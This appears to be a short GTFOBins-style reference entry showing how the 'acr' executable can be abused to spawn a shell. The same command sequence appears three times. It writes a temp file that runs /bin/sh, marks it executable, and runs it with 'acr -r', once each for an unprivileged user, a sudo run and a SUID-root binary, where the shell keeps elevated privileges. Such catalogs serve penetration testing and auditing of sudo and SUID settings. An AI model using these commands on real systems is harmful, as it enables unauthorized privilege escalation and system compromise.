This executable can run non-interactive system commands.
This function can be performed by any unprivileged user.
echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file